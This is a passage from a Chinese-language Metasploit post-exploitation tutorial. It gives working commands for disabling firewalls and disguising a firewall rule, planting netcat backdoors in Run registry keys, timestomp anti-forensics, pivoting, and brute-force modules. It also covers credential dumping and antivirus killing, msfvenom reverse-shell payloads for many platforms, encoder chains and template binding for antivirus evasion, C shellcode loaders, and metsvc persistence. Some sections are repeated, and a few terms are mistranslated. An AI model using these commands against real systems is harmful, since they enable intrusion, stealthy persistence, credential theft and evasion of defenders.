adcfirewall set allprofiles state off 我们打开防火墙配置查看防火墙已成功被我们关闭! 但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。 netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL 伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可! 24.利用注册表添加 NC 后门 1.上传 NC 到目标系统: upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 2.枚举注册表内容(开机启动) reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 3.在该注册表增加内容(开机启动) reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe” 4.查看内容是否增加成功: reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 25.基于MACE时间的反电子取证 timestomp -v secist.txt #查看当前目标文件 MACE 时间。 timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查) timestomp -f c:\\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件) timestomp -v secist.txt 26.内网代理 meterpreter > run autoroute -s 192.168.1.0/24 msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306 msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24 msf auxiliary(tcp) > set THERADS 10 msf auxiliary(tcp) > exploit meterpreter > background msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > route print msf auxiliary(socks4a) > ifconfig msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子' msf auxiliary(socks4a) > exploit 27.SSH代理 msf > load meta_ssh msf > use multi/ssh/login_password msf > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf > set USER test USER => test msf > set PASS reverse PASS => reverse msf > set PAYLOAD ssh/metassh_session PAYLOAD => ssh/metassh_session msf > exploit -z [*] Connecting to dsl@192.168.56.3:22 with password reverse [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300 [*] Session 1 created in the background. msf > route add 192.168.57.0 255.255.255.0 1 之后就是愉快的内网扫描了 当然还是推荐直接用 ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1 28.内网扫描 meterpreter > run autoroute -s 192.168.3.98 meterpreter > background [*] Backgrounding session 2... msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306 PORTS => 80,8080,21,22,3389,445,1433,3306 msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24 RHOSTS => 192.168.3.1/24 msf auxiliary(tcp) > set THERADS 10 THERADS => 10 msf auxiliary(tcp) > exploit 我还是推荐开代理用Nmap扫描>.< 29.一些常用的破解模块 auxiliary/scanner/mssql/mssql_login auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ssh/ssh_login auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_login auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mysql/mysql_login auxiliary/scanner/oracle/oracle_login auxiliary/scanner/postgres/postgres_login auxiliary/scanner/vnc/vnc_login auxiliary/scanner/pcanywhere/pcanywhere_login auxiliary/scanner/snmp/snmp_login auxiliary/scanner/ftp/anonymous 30.一些好用的模块 auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具) auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老) auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:)) auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:) auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:() auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友) auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:) auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行) auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句) auxiliary/scanner/rsync/modules_list (Rsync) auxiliary/scanner/misc/redis_server (Redis) auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血) auxiliary/scanner/mongodb/mongodb_login (Mongodb) auxiliary/scanner/elasticsearch/indices_enum (elasticsearch) auxiliary/scanner/http/axis_local_file_include (axis本地文件包含) auxiliary/scanner/http/http_put (http Put) auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户) auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户) auxiliary/scanner/http/svn_scanner (svn Hunter :)) auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破) auxiliary/scanner/http/zabbix_login (Zabbix :)) 0x05 常见脚本在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用 我看网上没有详细介绍常见脚本功能的文章,就总结了一下 我们可以通过run 脚本名来进行使用 run 脚本名 -h可以查看帮助 1.arp_scanner 利用arp进行存活主机扫描 run arp_scanner-r 192.168.1.0/24 2.autoroute 可以添加,删除,显示路由表 3.checkvm 可以检测目标是否是虚拟机 4.credcollect 收集目标主机上的hash等凭证 5.domain_list_gen 获取域管理账户列表,并判断当前session所在用户是否在列表中 6.dumplinks Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件 调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息 命令:run post/windows/gather/dumplinks 效果如下图: 7.duplicate 再次产生payload,注入到其他进程或打开新进程并注入其中 8.enum_chrome 获取chrome中的信息 9.enum_firefox 获取firefox中的信息,包括cooikie,历史纪录,书签等 10.enum_logged_on_users 列出当前登录的用户 11.enum_powershell_env 列出powershell和WSH的配置文件 12.enum_putty 列出putty的配置文件 13.enum_shares 列出共享及历史共享 14.enum_vmware 列出vmware的配置文件和产品 15.event_manager 可以查询和清理事件日志 16.file_collector 搜索符合指定模式的文件 17.get_application_list 获取安装的程序列表及版本 18.getcountermeasure 列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略 Ps:-k参数可以杀掉防护软件进程 19.get_env 获取所有用户的环境变量 20.get_filezilla_creds 获取filezilla的登陆凭证 21.getgui 可以很方便的开启远程桌面服务,添加用户,端口转发功能 22.get_local_subnets 获得本地的子网 23.get_pidgin_creds 获取pidgin配置文件中的用户名和密码 24.gettelnet 同之前开启终端桌面服务的脚本,这个是用来开启telnet的 25.get_valid_community 获取SNMP community字符串 26.getvncpw 获取vnc密码 27.hashdump 同meterpreter的内置功能 28.hostsedit 操作hosts文件 29.keylogrecorder Meterpreter内置此功能 30.killav 关闭防护软件 31.metsvc 将payload安装为服务 32. migrate 将meterpreter会话移植到另一个进程 例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法 可以先用ps命令看一下目标主机的explorer.exe进程的pid
33 .persistence 可见建立一个持久性的后门,设置成开机启动 34. service_permissions_escalate 许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload 35.vnc 可以看到远程桌面 36. win32-sshserver 安装openssh服务 37. winenum 会自动运行多种命令,将命令结果保存到本地 0x06 msfvenom命令参数metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听 1.msfvenom命令行选项 在kali的命令行中输入msfvenom -h就会显示其用法: Options: -p, --payload<payload> 指定需要使用的payload(攻击荷载) -l, --list[module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all -n, --nopsled<length> 为payload预先指定一个NOP滑动长度 -f, --format<format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder[encoder] 指定需要使用的encoder(编码器) -a, --arch<architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space<length> 设定有效攻击荷载的最大长度 -b, --bad-chars<list> 设定规避字符集,比如: '\x00\xff' -i, --iterations <count> 指定payload的编码次数 -c, --add-code<path> 指定一个附加的win32 shellcode文件 -x, --template<path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out<path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表
2.生成payload 格式说明 (1)生成不经过编码的普通payload(不编码->生成内容固定->直接被杀) #格式 msfvenom -p <payload> <payload options> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c (2)经过编码器处理后生成payload #格式 msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe (3)捆绑到正常文件后生成payload(暂未测试是否可加-e参数) Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe -p [指定攻击载荷名称] 生成payload至少需指定-p 和 -f,除了自带的那些payload外。-p -可指定自定义的payload ,如: cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw #暂未测试 cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe -f [指定payload的输出格式] 按需要的格式进行输出: msf支持的输出格式 msfvenom --help-formats Executable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript 3.options usage 查看支持的payload列表: msfvenom -l payloads
Framework Payloads (486 total) ==============================
NameDescription --------------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell ...
查看支持的输出文件类型: msfvenom --help-formats 查看支持的编码方式:(为了达到免杀的效果) msfvenom -l encoders 查看支持的空字段模块:(为了达到免杀的效果) msfvenom -l nops 4.常用的payload 1.命令格式: msfvenom -p <payload> <payload options> -f <format> -o <path> Binaries: 2.Linux: 反向连接 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf 正向连接 msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3.Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
4.Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho Web Payloads: 5.PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
6.ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
7.JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
8.WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa Scripting Payloads: 9.Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
10.Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
11.Perl: msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl Shellcode: 12.Linux Based Shellcode: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
13.Windows Based Shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
14.Mac Based Shellcode: msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> 15.Handlers: use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z 5.生成有效载荷格式说明 生成不经过编码的普通净荷(不编码 - >生成内容固定 - >直接被杀) #格式 msfvenom -p <payload> <payload options> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c 经过编码器处理后生成的有效载荷 #格式 msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe 捆绑到正常文件后生成有效载荷(暂未测试是否可加-e参数) Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe -p [指定攻击载荷名称] 生成有效负荷至少需指定-p和-f 除了自带的那些有效载荷外 cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw #暂未测试 cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe -f [指定有效载荷的输出格式] 按需要的格式进行输出: 生成一个EXE格式的有效载荷,如: 无国界医生支持的输出格式 msfvenom --help-formats Executable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript - 一个x64 -a x86 msfvenom -p windows/meterpreter/bind_tcp --help-platform
Platforms aix, android, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, ruby, solaris, unix, windows -a不指定也可以,可在-p后的有效载荷名称中明确指定的建筑,如: msfvenom -p linux/x86/exec CMD=/bin/sh 此有效载荷指定了参数CMD 对有效载荷进行编码 1.规避特殊字符-b'/ x00一个特殊字符列表' 无国界医生会自动找一个合适的编码器规避有效载荷中的这些“坏字符”: Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai 不同的函数,有不同的规避字符: 2.用-e选项指定编码器的编码器,如: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 默认的输出格式是原始的,直接输出有效载荷的字符(含乱码),常加参数-o写到文件中。 3.使用-i进行选项对话多次编码 迭代编码例子: 无国界医生组织中所有的编码器: msfvenom -l encoders
Framework Encoders ==================
Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_shmanual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicarmanual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xorinormal Byte XORi Encoder mipsbe/longxornormal XOR Encoder mipsle/byte_xorinormal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxornormal PPC LongXOR Encoder ppc/longxor_tagnormal PPC LongXOR Encoder sparc/longxor_tag normalSPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/zutto_dekirumanual Zutto Dekiru x86/add_submanual Add/Sub Encoder x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolowermanual Avoid underscore/tolower x86/avoid_utf8_tolowermanual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglotmanual BMP Polyglot x86/call4_dword_xornormal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_statmanual stat(2)-based Context Keyed Payload Encoder x86/context_timemanual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupperlow Non-Upper Encoder x86/opt_submanual Sub Encoder (optimised) x86/servicemanual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bitmanual Single Static Bit x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_uppermanual Alpha2 Alphanumeric Unicode Uppercase Encoder -x指定一个模板文件(“捆绑”payload到这个正常的可执行文件) msfvenom使用的模板文件保存在目录msf/data/templates -x calc.exe 使用-x选项指定你自己的模板文件(如EXE等),如: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的有效载荷时,输出格式必须要写-f exe-only而不能写-f exe msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe -x选项经常和-k选项一起用,它允许您从模板中将有效载荷作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP。
6.payload加编码 命令格式: msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path> 常用编码: x86/shikata_ga_nai cmd/powershell_base64 例子: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。 msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 可以使用下面的命令,来查看可用的编码器 msfvenom -l encoders 你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。 msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw (1)规避特殊字符 -b '/x00一个特殊字符列表' 使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如: 不同的函数,有不同的规避字符: (2)用-e选项指定编码器encoder msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -f exe -o encoder.exe 默认的输出格式是raw,直接输出payload的字符(含乱码),常加参数-o写到文件中。 (3)使用-i选项进行多次编码 迭代编码 例子: (4)msf中所有的编码器 msfvenom -l encoders Framework Encoders ==================
Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64excellent Powershell Base64 Command Encoder cmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicarmanual The EICAR Encoder generic/nonenormal The "none" Encoder mipsbe/byte_xorinormal Byte XORi Encoder mipsbe/longxornormal XOR Encoder mipsle/byte_xorinormal Byte XORi Encoder mipsle/longxornormal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxornormal PPC LongXOR Encoder ppc/longxor_tagnormal PPC LongXOR Encoder sparc/longxor_tagnormal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/zutto_dekirumanual Zutto Dekiru x86/add_submanual Add/Sub Encoder x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolowermanual Avoid underscore/tolower x86/avoid_utf8_tolowermanual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglotmanual BMP Polyglot x86/call4_dword_xornormal Call+4 Dword XOR Encoder x86/context_cpuidmanual CPUID-based Context Keyed Payload Encoder x86/context_statmanual stat(2)-based Context Keyed Payload Encoder x86/context_timemanual time(2)-based Context Keyed Payload Encoder x86/countdownnormal Single-byte XOR Countdown Encoder x86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoder x86/nonalphalow Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_submanual Sub Encoder (optimised) x86/servicemanual Register Service x86/shikata_ga_naiexcellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bitmanual Single Static Bit x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder (5)使用自定义可执行文件模板 -x 指定一个模板文件(“捆绑“payload到这个正常的可执行文件) 默认的msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。 注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的payload时,输出格式必须要写-f exe-only而不能写-f exe -x选项经常和-k选项一起用,它允许您从模板中将payload作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP. (6)How to chain msfvenom output msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \ msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \ msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe (7)编译生成的C文件 #win x86生成c文件 msfvenom -p windows/meterpreter/reverse_tcp lhost=[AttackerIP] lport=4444 -f c -e x86/shikata_ga_nai -i 12 -b '\x00' #vc++6.0 编译(含buf数组的)C代码: #include <stdio.h> #pragmacomment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口 unsignedchar buf[] = "buf数组";//复制数组内容粘贴到此处 main() { ((void(*)(void))&buf)(); }
#VS 编译: main()
{ Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
} msfvenom -p <payload> <payload options> -a <arch> --plateform <platform> -e <encoder option> -i <encoder times> -x <template> -k <keep> -f <format> -o <path> > msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe DL is deprecated, please use Fiddle No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 1 compatible encoders Attempting to encode payload with3 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai chosen with final size 414 Payload size: 414 bytes Final size of exe file: 6144 bytes Saved as: injection.exe
msfvenom -c <shellcode> -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -f <format> -o <path> > msfvenom -c "win.exe" -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe DL is deprecated, please use Fiddle No platform was selected, choosing Msf::Module::Platform::Windows from the payload Adding shellcode from win.exe to the payload Found 1 compatible encoders Attempting to encode payload with3 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 5794 (iteration=0) x86/shikata_ga_nai succeeded with size 5823 (iteration=1) x86/shikata_ga_nai succeeded with size 5852 (iteration=2) x86/shikata_ga_nai chosen with final size 5852 Payload size: 5852 bytes Final size of exe file: 11264 bytes Saved as: injection.exe msfvenom -l | grep windows | grep x64 | grep tcp 10.绕过免杀 nops选项 > msfvenom -l nops DL is deprecated, please use Fiddle Framework NOPs (8 total) ======================== Name Description ---- ----------- armle/simple Simple NOP generator php/generic Generates harmless padding for PHP scripts ppc/simple Simple NOP generator sparc/random SPARC NOP generator tty/generic Generates harmless padding for TTY input x64/simple An x64 single/multi byte NOP instruction generator. x86/opty2 Opty2 multi-byte NOP generator x86/single_byte Single-byte NOP generator payload生成器Veil-Evasion (免杀效果好) (1)架构 Arch:x86 是指生成的payload只能在32位系统运行 (2)注意 有的payload的选项为多个:Arch:x86_64,x64 (3)统一 需要注意的是软件的架构/payload的架构/目标系统的架构 举例1: > msfvenom -p windows/x64/meterpreter_reverse_tcp --payload-option DL is deprecated, please use Fiddle Options for payload/windows/x64/meterpreter_reverse_tcp: Name: Windows Meterpreter Shell, Reverse TCP Inline x64 Module: payload/windows/x64/meterpreter_reverse_tcp Platform: Windows Arch: x64, x86_64 Needs Admin: No Total size: 1189423 Rank: Normal Provided by: OJ Reeves sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) EXTENSIONS no Comma-separate list of extensions to load EXTINIT no Initialization strings for extensions LHOST yes The listen address LPORT 4444 yes The listen port 举例2: load/windows/x64/meterpreter/reverse_tcp: Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager Module: payload/windows/x64/meterpreter/reverse_tcp Platform: Windows Arch: x86_64 Needs Admin: No Total size: 449 Rank: Normal Provided by: skape <mmiller@hick.org> sf <stephen_fewer@harmonysecurity.com> OJ Reeves Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Description: Inject the meterpreter server DLL via the Reflective 从Arch看出,第一个可以用于x64, x86_64而第二个只能x86_64。 12.自选模块 生成执行计算器payload例子: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe 13.payload的坑 正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。
0x07获取meterpreter1.首先生成可执行文件 root @ kali:〜#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe 2.启动msfconsole,监听反连端口 root @ kali:〜#msfconsole msf>use exploit/multi /handler msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => window /meterpreter/reverse_tcp msf exploit(handler)> set LHOST 0.0.0.0 msf exploit(handler)>set LPORT 444 msf exploit(handler)>show options msf exploit(handler)>exploit 0x08 持续性后门1.metsvc后渗透攻击模块 metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件: metsvc.dll metsvc-service.exe metsvc.exe 调用metsvc后渗透攻击模块 命令:run metsvc 效果如下图:
成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)
使用方法: 到目标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。 Meterpreter服务后门 meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service * Service metsvc successfully installed. 之后电脑就默默生成了一个自启服务Meterpreter 然后连接后门 msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set payload windows/metsvc_bind_tcp payload => windows/metsvc_bind_tcp msf exploit(handler) > set RHOST 10.42.0.54 RHOST => 10.42.0.54 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit 2. persistence模块后门 一个vbs后门写入了开机启动项但是容易被发现还是需要大家发挥自己的智慧:)
